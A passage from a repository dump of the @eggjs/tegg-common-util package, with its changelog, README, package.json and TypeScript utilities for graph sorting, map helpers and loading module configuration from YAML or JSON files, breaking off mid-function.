@eggjs/tegg-common-util\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n\n### Features\n\n* use app.loader.getTypeFiles to generate module config file names ([#213](https://github.com/eggjs/tegg/issues/213)) ([e0656a4](https://github.com/eggjs/tegg/commit/e0656a4d59beef103a5627461d9b9c87996928e3))\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n\n### Bug Fixes\n\n* config for env is not merged when default config is empty ([#178](https://github.com/eggjs/tegg/issues/178)) ([9c1de22](https://github.com/eggjs/tegg/commit/9c1de223e9c9befb0a803ac5a1bd843f74aa9493))\n\n\n### Features\n\n* scan framework dependencies as optional module ([#184](https://github.com/eggjs/tegg/issues/184)) ([a4908c6](https://github.com/eggjs/tegg/commit/a4908c6c640000c7068def57d32052cca15adf47))\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n\n### Features\n\n* tegg plugin support ModuleConfig ([#162](https://github.com/eggjs/tegg/issues/162)) ([58bd9fa](https://github.com/eggjs/tegg/commit/58bd9fafdd0d56aabdde5f7c33f17c45568bada8))\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n\n### Features\n\n* support load module config with env ([#151](https://github.com/eggjs/tegg/issues/151)) ([c087226](https://github.com/eggjs/tegg/commit/c087226bd7764242fadce5622fccd9e9fee56322))\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n\n### Features\n\n* implement RuntimeConfig ([#144](https://github.com/eggjs/tegg/issues/144)) ([0862655](https://github.com/eggjs/tegg/commit/0862655846f6765349d406ee697c036cec2a37bd))\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n\n### Bug Fixes\n\n* use posix join for package path ([#127](https://github.com/eggjs/tegg/issues/127)) ([53672f4](https://github.com/eggjs/tegg/commit/53672f404edb72c7330e125f72dd356cde0607ad))\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n\n### Features\n\n* The exposed module reads the options. ([#112](https://github.com/eggjs/tegg/issues/112)) ([a52b44b](https://github.com/eggjs/tegg/commit/a52b44b753463bfdef6fbbc39f920be8eccf1567))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n"
  },
  {
    "path": "tegg/core/common-util/README.md",
    "content": "# `@eggjs/tegg-common-util`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tegg-common-util.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tegg-common-util.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tegg-common-util\n[snyk-image]: https://snyk.io/test/npm/@eggjs/tegg-common-util/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/tegg-common-util\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tegg-common-util.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tegg-common-util\n\n# Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/common-util/package.json",
    "content": "{\n  \"name\": \"@eggjs/tegg-common-util\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"common util for tegg\",\n  \"keywords\": [\n    \"collection\",\n    \"egg\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/common-util\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/common-util\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\",\n    \"extend2\": \"catalog:\",\n    \"globby\": \"catalog:\",\n    \"js-yaml\": \"catalog:\",\n    \"reflect-metadata\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/js-yaml\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/FSUtil.ts",
    "content": "import fs from 'node:fs/promises';\n\nexport class FSUtil {\n  static async fileExists(filePath: string): Promise<boolean> {\n    try {\n      await fs.access(filePath, fs.constants.F_OK);\n    } catch {\n      return false;\n    }\n    return true;\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/Graph.ts",
    "content": "import type { GraphNodeObj } from '@eggjs/tegg-types';\n\n// const inspect = Symbol.for('nodejs.util.inspect.custom');\n\nexport interface EdgeMeta {\n  equal(meta: EdgeMeta): boolean;\n  toString(): string;\n}\n\nexport class GraphNode<T extends GraphNodeObj, M extends EdgeMeta = EdgeMeta> {\n  val: T;\n  toNodeMap: Map<string, { node: GraphNode<T, M>; meta?: M }> = new Map();\n  fromNodeMap: Map<string, { node: GraphNode<T, M>; meta?: M }> = new Map();\n\n  constructor(val: T) {\n    this.val = val;\n    // this[inspect] = this.toJSON;\n  }\n\n  get id(): string {\n    return this.val.id;\n  }\n\n  addToVertex(node: GraphNode<T, M>, meta?: M): boolean {\n    if (this.toNodeMap.has(node.id)) {\n      return false;\n    }\n    this.toNodeMap.set(node.id, { node, meta });\n    return true;\n  }\n\n  addFromVertex(node: GraphNode<T, M>, meta?: M): boolean {\n    if (this.fromNodeMap.has(node.id)) {\n      return false;\n    }\n    this.fromNodeMap.set(node.id, { node, meta });\n    return true;\n  }\n\n  // [inspect](): object {\n  //   return this.toJSON();\n  // }\n\n  toJSON(): object {\n    return {\n      val: this.val,\n      toNodes: Array.from(this.toNodeMap.values()),\n      fromNodes: Array.from(this.fromNodeMap.values()),\n    };\n  }\n\n  toString(): string {\n    return this.val.toString();\n  }\n}\n\nexport class GraphPath<T extends GraphNodeObj, M extends EdgeMeta = EdgeMeta> {\n  nodeIdMap: Map<string, number> = new Map();\n  nodes: Array<{ node: GraphNode<T, M>; meta?: M }> = [];\n\n  pushVertex(node: GraphNode<T, M>, meta?: M): boolean {\n    const val = this.nodeIdMap.get(node.id) || 0;\n    this.nodeIdMap.set(node.id, val + 1);\n    this.nodes.push({ node, meta });\n    return val === 0;\n  }\n\n  popVertex(): void {\n    const nodeHandler = this.nodes.pop();\n    if (nodeHandler) {\n      const val = this.nodeIdMap.get(nodeHandler.node.id)!;\n      this.nodeIdMap.set(nodeHandler.node.id, val - 1);\n    }\n  }\n\n  toString(): string {\n    const res = this.nodes.reduce((p, c) => {\n      let msg = '';\n      if (c.meta) {\n        msg += ` ${c.meta.toString()} -> `;\n      } else if (p.length) {\n        msg += ' -> ';\n      }\n      msg += c.node.val.toString();\n      p.push(msg);\n      return p;\n    }, new Array<string>());\n    return res.join('');\n  }\n\n  // [inspect]() {\n  //   return this.toString();\n  // }\n}\n\nexport class Graph<T extends GraphNodeObj, M extends EdgeMeta = EdgeMeta> {\n  nodes: Map<string, GraphNode<T, M>> = new Map();\n\n  addVertex(node: GraphNode<T, M>): boolean {\n    if (this.nodes.has(node.id)) {\n      return false;\n    }\n    this.nodes.set(node.id, node);\n    return true;\n  }\n\n  addEdge(from: GraphNode<T, M>, to: GraphNode<T, M>, meta?: M): boolean {\n    to.addFromVertex(from, meta);\n    return from.addToVertex(to, meta);\n  }\n\n  findToNode(id: string, meta: M): GraphNode<T, M> | undefined {\n    const node = this.nodes.get(id);\n    if (!node) return undefined;\n    for (const { node: toNode, meta: edgeMeta } of node.toNodeMap.values()) {\n      if (edgeMeta && meta.equal(edgeMeta)) {\n        return toNode;\n      }\n    }\n    return undefined;\n  }\n\n  appendVertexToPath(node: GraphNode<T, M>, accessPath: GraphPath<T, M>, meta?: M): boolean {\n    if (!accessPath.pushVertex(node, meta)) {\n      return false;\n    }\n    for (const toNode of node.toNodeMap.values()) {\n      if (!this.appendVertexToPath(toNode.node, accessPath, toNode.meta)) {\n        return false;\n      }\n    }\n    accessPath.popVertex();\n    return true;\n  }\n\n  loopPath(): GraphPath<T, M> | undefined {\n    const accessPath = new GraphPath<T, M>();\n    const nodes = Array.from(this.nodes.values());\n    for (const node of nodes) {\n      if (!this.appendVertexToPath(node, accessPath)) {\n        return accessPath;\n      }\n    }\n    return;\n  }\n\n  accessNode(\n    node: GraphNode<T, M>,\n    nodes: Array<GraphNode<T, M>>,\n    accessed: boolean[],\n    res: Array<GraphNode<T, M>>,\n  ): void {\n    const index = nodes.indexOf(node);\n    if (accessed[index]) {\n      return;\n    }\n    if (!node.toNodeMap.size) {\n      accessed[nodes.indexOf(node)] = true;\n      res.push(node);\n      return;\n    }\n    for (const toNode of node.toNodeMap.values()) {\n      this.accessNode(toNode.node, nodes, accessed, res);\n    }\n    accessed[nodes.indexOf(node)] = true;\n    res.push(node);\n  }\n\n  // sort by direct\n  // priority:\n  // 1. vertex can not be access\n  // 2. reverse by access direct\n  //\n  // notice:\n  // 1. sort result is not stable\n  // 2. graph with loop can not be sort\n  sort(): Array<GraphNode<T, M>> {\n    const res: Array<GraphNode<T, M>> = [];\n    const nodes = Array.from(this.nodes.values());\n    const accessed: boolean[] = [];\n    for (let i = 0; i < nodes.length; ++i) {\n      accessed.push(false);\n    }\n    for (let i = 0; i < nodes.length; ++i) {\n      const node = nodes[i];\n      this.accessNode(node, nodes, accessed, res);\n    }\n    return res;\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/MapUtil.ts",
    "content": "export class MapUtil {\n  static getOrStore<K, V>(map: Map<K, V>, key: K, value: V): V {\n    if (!map.has(key)) {\n      map.set(key, value);\n    }\n    return map.get(key)!;\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/src/ModuleConfig.ts",
    "content": "import assert from 'node:assert';\nimport fs, { promises as fsPromise } from 'node:fs';\nimport path from 'node:path';\n\nimport type {\n  InlineModuleReferenceConfig,\n  ModuleConfig,\n  ModuleReference,\n  ModuleReferenceConfig,\n  NpmModuleReferenceConfig,\n  ReadModuleReferenceOptions,\n} from '@eggjs/tegg-types';\nimport { importResolve } from '@eggjs/utils';\nimport { extend } from 'extend2';\nimport globby from 'globby';\nimport { load as yamlLoad } from 'js-yaml';\n\nimport { FSUtil } from './FSUtil.ts';\n\nexport class ModuleReferenceConfigHelp {\n  static isInlineModuleReference(\n    moduleReference: ModuleReferenceConfig,\n  ): moduleReference is InlineModuleReferenceConfig {\n    return !!(moduleReference as InlineModuleReferenceConfig).path;\n  }\n\n  static isNpmModuleReference(moduleReference: ModuleReferenceConfig): moduleReference is NpmModuleReferenceConfig {\n    return !!(moduleReference as NpmModuleReferenceConfig).package;\n  }\n}\n\nconst DEFAULT_READ_MODULE_REF_OPTS = {\n  deep: 10,\n};\n\nexport class ModuleConfigUtil {\n  static configNames: string[] | undefined;\n\n  public static setConfigNames(configNames: string[] | undefined): void {\n    ModuleConfigUtil.configNames = configNames;\n  }\n\n  public static readModuleReference(baseDir: string, options?: ReadModuleReferenceOptions): readonly ModuleReference[] {\n    // 1. module.json exits use module.json as module reference\n    // 1. module.json not exits scan baseDir get package.json to find modules\n    const configDir = path.join(baseDir, 'config');\n    const moduleJsonPath = path.join(configDir, 'module.json');\n    if (fs.existsSync(moduleJsonPath)) {\n      return this.readModuleReferenceFromModuleJson(configDir, moduleJsonPath, options?.cwd || baseDir);\n    }\n    return this.readModuleReferenceFromScan(baseDir, options);\n  }\n\n  private static readModuleReferenceFromModuleJson(\n    configDir: string,\n    moduleJsonPath: string,\n    cwd?: string,\n  ): readonly ModuleReference[] {\n    const moduleJsonContent = fs.readFileSync(moduleJsonPath, 'utf8');\n    const moduleJson: ModuleReferenceConfig[] = JSON.parse(moduleJsonContent);\n    const moduleReferenceList: ModuleReference[] = [];\n    for (const moduleReferenceConfig of moduleJson) {\n      let moduleReference: ModuleReference;\n      if (ModuleReferenceConfigHelp.isNpmModuleReference(moduleReferenceConfig)) {\n        const options = cwd ? { paths: [cwd] } : {};\n        // path.posix for windows keep path as foo/package.json\n        const pkgJson = path.posix.join(moduleReferenceConfig.package, 'package.json');\n        const file = importResolve(pkgJson, options);\n        const modulePath = path.dirname(file);\n        moduleReference = {\n          path: modulePath,\n          name: ModuleConfigUtil.readModuleNameSync(modulePath),\n        };\n      } else if (ModuleReferenceConfigHelp.isInlineModuleReference(moduleReferenceConfig)) {\n        const modulePath = path.join(configDir, moduleReferenceConfig.path);\n        moduleReference = {\n          path: modulePath,\n          name: ModuleConfigUtil.readModuleNameSync(modulePath),\n        };\n      } else {\n        throw new Error('unknown type of module reference config: ' + JSON.stringify(moduleReferenceConfig));\n      }\n      moduleReferenceList.push(moduleReference);\n    }\n    return moduleReferenceList;\n  }\n\n  private static readModuleReferenceFromScan(\n    baseDir: string,\n    options?: ReadModuleReferenceOptions,\n  ): readonly ModuleReference[] {\n    const ref: ModuleReference[] = [];\n    const realOptions: ReadModuleReferenceOptions = Object.assign({}, DEFAULT_READ_MODULE_REF_OPTS, options);\n    const packagePaths = globby.sync(\n      [\n        '**/package.json',\n        // not load node_modules\n        '!**/node_modules',\n        // not load files in .xxx/\n        '!**/+(.*)/**',\n        // not load coverage\n        '!**/coverage',\n        ...(realOptions.extraFilePattern || []),\n      ],\n      {\n        cwd: baseDir,\n        deep: realOptions.deep,\n      },\n    );\n    const moduleDirSet = new Set<string>();\n    for (const packagePath of packagePaths) {\n      const absolutePkgPath = path.join(baseDir, packagePath);\n      let realPkgPath;\n      try {\n        realPkgPath = fs.realpathSync(absolutePkgPath);\n      } catch {\n        continue;\n      }\n\n      const moduleDir = path.dirname(realPkgPath);\n\n      // skip the symbolic link\n      if (moduleDirSet.has(moduleDir)) {\n        continue;\n      }\n      moduleDirSet.add(moduleDir);\n\n      let name: string;\n      try {\n        name = this.readModuleNameSync(moduleDir);\n      } catch {\n        continue;\n      }\n      ref.push({\n        path: moduleDir,\n        name,\n      });\n    }\n    const moduleReferences = this.readModuleFromNodeModules(baseDir);\n    for (const moduleReference of moduleReferences) {\n      const moduleBasePath = path.basename(moduleReference.path);\n      moduleDirSet.forEach((modulePath) => {\n        if (path.basename(modulePath) === moduleBasePath) {\n          throw new Error('duplicate import of module reference: ' + moduleBasePath);\n        }\n      });\n      ref.push({\n        path: moduleReference.path,\n        name: moduleReference.name,\n      });\n    }\n    return ref;\n  }\n\n  public static readModuleFromNodeModules(baseDir: string): ModuleReference[] {\n    const ref: ModuleReference[] = [];\n    let pkgContent: string;\n    try {\n      pkgContent = fs.readFileSync(path.join(baseDir, 'package.json'), 'utf8');\n    } catch {\n      return [];\n    }\n    const pkg = JSON.parse(pkgContent);\n    for (const dependencyKey of Object.keys(pkg.dependencies || {})) {\n      let packageJsonPath: string;\n      try {\n        // https://nodejs.org/api/packages.html#package-entry-points\n        // ignore cases where the package entry is exports but package.json is not exported\n        packageJsonPath = importResolve(`${dependencyKey}/package.json`, {\n          paths: [baseDir],\n        });\n      } catch {\n        continue;\n      }\n      const absolutePkgPath = path.dirname(packageJsonPath);\n      const realPkgPath = fs.realpathSync(absolutePkgPath);\n      try {\n        const name = this.readModuleNameSync(realPkgPath);\n        ref.push({\n          path: realPkgPath,\n          name,\n        });\n      } catch {\n        continue;\n      }\n    }\n    return ref;\n  }\n\n  public static resolveModuleDir(moduleDir: string, baseDir?: string): string {\n    if (path.isAbsolute(moduleDir)) {\n      return moduleDir;\n    }\n    assert(baseDir, 'baseDir is required');\n    return path.join(baseDir, 'config', moduleDir);\n  }\n\n  private static getModuleName(pkg: any) {\n    assert(pkg.eggModule && pkg.eggModule.name, 'eggModule.name not found in package.json');\n    return pkg.eggModule.name;\n  }\n\n  public static async readModuleName(baseDir: string, moduleDir: string): Promise<string> {\n    moduleDir = ModuleConfigUtil.resolveModuleDir(moduleDir, baseDir);\n    const pkgContent = await fsPromise.readFile(path.join(moduleDir, 'package.json'), 'utf8');\n    const pkg = JSON.parse(pkgContent);\n    return ModuleConfigUtil.getModuleName(pkg);\n  }\n\n  public static readModuleNameSync(moduleDir: string, baseDir?: string): string {\n    moduleDir = ModuleConfigUtil.resolveModuleDir(moduleDir, baseDir);\n    const pkgContent = fs.readFileSync(path.join(moduleDir, 'package.json'), 'utf8');\n    const pkg = JSON.parse(pkgContent);\n    return ModuleConfigUtil.getModuleName(pkg);\n  }\n\n  public static async loadModuleConfig(moduleDir: string, baseDir?: string, env?: string): Promise<ModuleConfig> {\n    const modulePath = ModuleConfigUtil.resolveModuleDir(moduleDir, baseDir);\n    let configNames: string[];\n    if (env) {\n      configNames = ['module', `module.${env}`];\n    } else {\n      // assert(ModuleConfigUtil.configNames, 'should setConfigNames before load module config');\n      configNames = ModuleConfigUtil.configNames || ['module'];\n    }\n\n    const target: ModuleConfig = {};\n    for (const configName of configNames) {\n      let config = await ModuleConfigUtil.#loadOne(modulePath, configName);\n      // both module.yml and module.default.yml are ok for default config\n      if (configName === 'module.default' && !config) {\n        config = await ModuleConfigUtil.#loadOne(modulePath, 'module');\n      }\n      if (config) {\n        extend(true, target, config);\n      }\n    }\n\n    return target;\n  }\n\n  static async #loadOne(moduleDir: string, configName: string): Promise<ModuleConfig | undefined> {\n    const yamlConfigPath = path.join(moduleDir, `${configName}.yml`);\n    let config = await ModuleConfigUtil.#loadYaml(yamlConfigPath);\n    if (!config) {\n      const jsonConfigPath = path.join(moduleDir, `${configName}.json`);\n      config = await ModuleConfigUtil.#loadJson(jsonConfigPath);\n    }\n    return config;\n  }\n\n  static async #loadJson(moduleJsonPath: string): Promise<ModuleConfig | undefined> {\n    const moduleJsonPathExists = await FSUtil.fileExists(moduleJsonPath);\n    if (!moduleJsonPathExists) {\n      return;\n    }\n    const moduleJsonContent = await fsPromise.readFile(moduleJsonPath, 'utf8');\n    const moduleJson = JSON.parse(moduleJsonContent);\n    return moduleJson.config;\n  }\n\n  static async #loadYaml(moduleYamlPath: string): Promise<ModuleConfig | undefined> {\n    const moduleYamlPathExists = await FSUtil.fileExists(moduleYamlPath);\n    if (!moduleYamlPathExists) {\n      return;\n    }\n    const moduleYamlContent = await fsPromise.readFile(moduleYamlPath, 'utf8');\n    return yamlLoad(moduleYamlContent) as ModuleConfig;\n  }\n\n  public static loadModuleConfigSync(moduleDir: string, baseDir?: string, env?: string): ModuleConfig {\n    const modulePath = ModuleConfigUtil.resolveModuleDir(moduleDir, baseDir);\n    let configNames: string[];\n    if (env) {\n      configNames = ['module', `module.${env}`];\n    } else {\n      // assert(ModuleConfigUtil.configNames, 'should setConfigNames before load module config');\n      configNames = ModuleConfigUtil.configNames || ['module'];\n    }\n\n    const target: ModuleConfig = {};\n    for (const configName of configNames) {\n      let config = ModuleConfigUtil.#loadOneSync(modulePath, configName);\n      // both module.yml and module.default.yml are ok for default config\n      if (configName === 'module.default' && !config) {\n        config = ModuleConfigUtil.#loadOneSync(modulePath, 'module');\n      }\n      if (config) {\n        extend(true, target, config);\n      }\n    }\n\n    return target;\n  }\n\n  static #loadOneSync(moduleDir: string, configName: string): ModuleConfig | undefined {\n    const yamlConfigPath = path.join(moduleDir, `${configName}.yml`);\n    let config = ModuleConfigUtil.#loadYamlSync(yamlConfigPath);\n    if (!config) {\n      const jsonConfigPath = path.join(moduleDir, `${configName}.json`);\n      config = ModuleConfigUtil.#loadJsonSync(jsonConfigPath);\n    }\n    return config;\n  }\n\n  static #loadJsonSync(moduleJsonPath: string): ModuleConfig | undefined {\n    const moduleJsonPathExists = fs.existsSync(moduleJsonPath);\n    if (!moduleJsonPathExists) {\n      return;\n    }\n    const moduleJsonContent = fs.readFileSync(moduleJsonPath, 'utf8');\n    const moduleJson = JSON.parse(moduleJsonContent);\n    return moduleJson.config;\n  }\n\n  static #loadYamlSync(moduleYamlPath: string): ModuleConfig | undefined {\n    const 